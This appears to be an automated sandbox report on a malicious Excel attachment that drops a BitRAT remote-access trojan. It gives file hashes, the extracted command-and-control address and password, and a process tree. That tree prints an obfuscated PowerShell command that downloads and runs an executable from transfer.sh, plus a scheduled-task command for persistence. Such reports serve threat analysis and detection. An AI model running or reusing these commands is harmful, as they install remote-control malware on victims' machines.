Analysis
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max time kernel
143s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20230831-en -
resource tags
arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system -
submitted
14-09-2023 15:14
Behavioral task
behavioral1
Sample
Romania_Request_Imun_SRL_09_2023.xls
Resource
win7-20230831-en
General
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Target
Romania_Request_Imun_SRL_09_2023.xls
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Size
100KB
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MD5
968a96fab78010b987e7a0b8624d2605
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SHA1
1e42b6186f040b9868a978450fde05e39a267bf3
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SHA256
63e7d413f4653c4b84c8e4c1c4fd4516a245464b3e996aa733ce21c9c1c964b1
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SHA512
f953916293565e59e94f2671ef4798eff19d7ff965570d66682c38aeca273331735b638b03653960838bbfac15333364dbfb477135d298d25690b8a95fb65a75
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SSDEEP
3072:irxEtjPOtioVjDGUU1qfDlaGGx+cL2QnAftJE2zuxq+fr9wBLa71ba2ryLTHeYB:kxEtjPOtioVjDGUU1qfDlavx+W2QnAVF
Malware Config
Extracted
bitrat
1.38
185.225.75.68:3569
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communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
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tor_process
tor
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4896 1948 cmd.exe 25 -
Blocklisted process makes network request 1 IoCs
flow pid Process 26 4932 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 2 IoCs
pid Process 652 iq5kz.exe 636 iq5kz.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 652 set thread context of 636 652 iq5kz.exe 98 -
Program crash 1 IoCs
pid pid_target Process procid_target 4476 636 WerFault.exe 98 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1820 schtasks.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1948 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4932 powershell.exe 4932 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4932 powershell.exe Token: SeManageVolumePrivilege 1288 svchost.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE -
Suspicious use of WriteProcessMemory 30 IoCs
description pid Process procid_target PID 1948 wrote to memory of 4896 1948 EXCEL.EXE 87 PID 1948 wrote to memory of 4896 1948 EXCEL.EXE 87 PID 4896 wrote to memory of 4932 4896 cmd.exe 89 PID 4896 wrote to memory of 4932 4896 cmd.exe 89 PID 4932 wrote to memory of 652 4932 powershell.exe 96 PID 4932 wrote to memory of 652 4932 powershell.exe 96 PID 4932 wrote to memory of 652 4932 powershell.exe 96 PID 652 wrote to memory of 636 652 iq5kz.exe 98 PID 652 wrote to memory of 636 652 iq5kz.exe 98 PID 652 wrote to memory of 636 652 iq5kz.exe 98 PID 652 wrote to memory of 636 652 iq5kz.exe 98 PID 652 wrote to memory of 636 652 iq5kz.exe 98 PID 652 wrote to memory of 636 652 iq5kz.exe 98 PID 652 wrote to memory of 636 652 iq5kz.exe 98 PID 652 wrote to memory of 636 652 iq5kz.exe 98 PID 652 wrote to memory of 636 652 iq5kz.exe 98 PID 652 wrote to memory of 636 652 iq5kz.exe 98 PID 652 wrote to memory of 636 652 iq5kz.exe 98 PID 652 wrote to memory of 1660 652 iq5kz.exe 99 PID 652 wrote to memory of 1660 652 iq5kz.exe 99 PID 652 wrote to memory of 1660 652 iq5kz.exe 99 PID 652 wrote to memory of 488 652 iq5kz.exe 104 PID 652 wrote to memory of 488 652 iq5kz.exe 104 PID 652 wrote to memory of 488 652 iq5kz.exe 104 PID 652 wrote to memory of 2300 652 iq5kz.exe 103 PID 652 wrote to memory of 2300 652 iq5kz.exe 103 PID 652 wrote to memory of 2300 652 iq5kz.exe 103 PID 488 wrote to memory of 1820 488 cmd.exe 106 PID 488 wrote to memory of 1820 488 cmd.exe 106 PID 488 wrote to memory of 1820 488 cmd.exe 106
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Romania_Request_Imun_SRL_09_2023.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1948 -
C:\Windows\SYSTEM32\cmd.execmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/gj04sqKk7O/boat.e^xe -o C:\Users\Public\iq5kz.exe;C:\Users\Public\iq5kz.exe2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4896 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell /W 01 curl https://transfer.sh/get/gj04sqKk7O/boat.exe -o C:\Users\Public\iq5kz.exe;C:\Users\Public\iq5kz.exe3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4932 -
C:\Users\Public\iq5kz.exe"C:\Users\Public\iq5kz.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:652 -
C:\Users\Public\iq5kz.exe"C:\Users\Public\iq5kz.exe"5⤵
- Executes dropped EXE
PID:636 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 636 -s 1886⤵
- Program crash
PID:4476
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C:\Windows\SysWOW64\cmd.exe"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\pint"5⤵PID:1660
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C:\Windows\SysWOW64\cmd.exe"cmd" /c copy "C:\Users\Public\iq5kz.exe" "C:\Users\Admin\AppData\Roaming\pint\pint.exe"5⤵PID:2300
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C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f5⤵
- Suspicious use of WriteProcessMemory
PID:488 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f6⤵
- Creates scheduled task(s)
PID:1820
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 636 -ip 6361⤵PID:916
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe1⤵PID:2184
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k UnistackSvcGroup1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1288
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
16KB
MD5a9423605c5300059fe88cf581ae5b019
SHA106b9365870b4948d47164d2b54affedf78de9daa
SHA2563eb9195e7b44c35a654edc69e86d56bd4808c5bf08f920a6e5f637ac7b353182
SHA5122a3e75f0be97d94730059feabd8e735f1495c7948a15466850fbfaf5c42872fbc0131e9a35a7eeea03b5fe150c571a34db8da7eee143593899a4fe70e5e58d9b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
3.8MB
MD56d4c3a4ff3637ec34f820172f897d476
SHA1d53fe8f0ecb0536088ec9be5247ab6627baf31cb
SHA256c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3
SHA5121ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894
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Filesize
3.8MB
MD56d4c3a4ff3637ec34f820172f897d476
SHA1d53fe8f0ecb0536088ec9be5247ab6627baf31cb
SHA256c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3
SHA5121ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894
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Filesize
3.8MB
MD56d4c3a4ff3637ec34f820172f897d476
SHA1d53fe8f0ecb0536088ec9be5247ab6627baf31cb
SHA256c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3
SHA5121ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894
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Filesize
3.8MB
MD56d4c3a4ff3637ec34f820172f897d476
SHA1d53fe8f0ecb0536088ec9be5247ab6627baf31cb
SHA256c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3
SHA5121ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894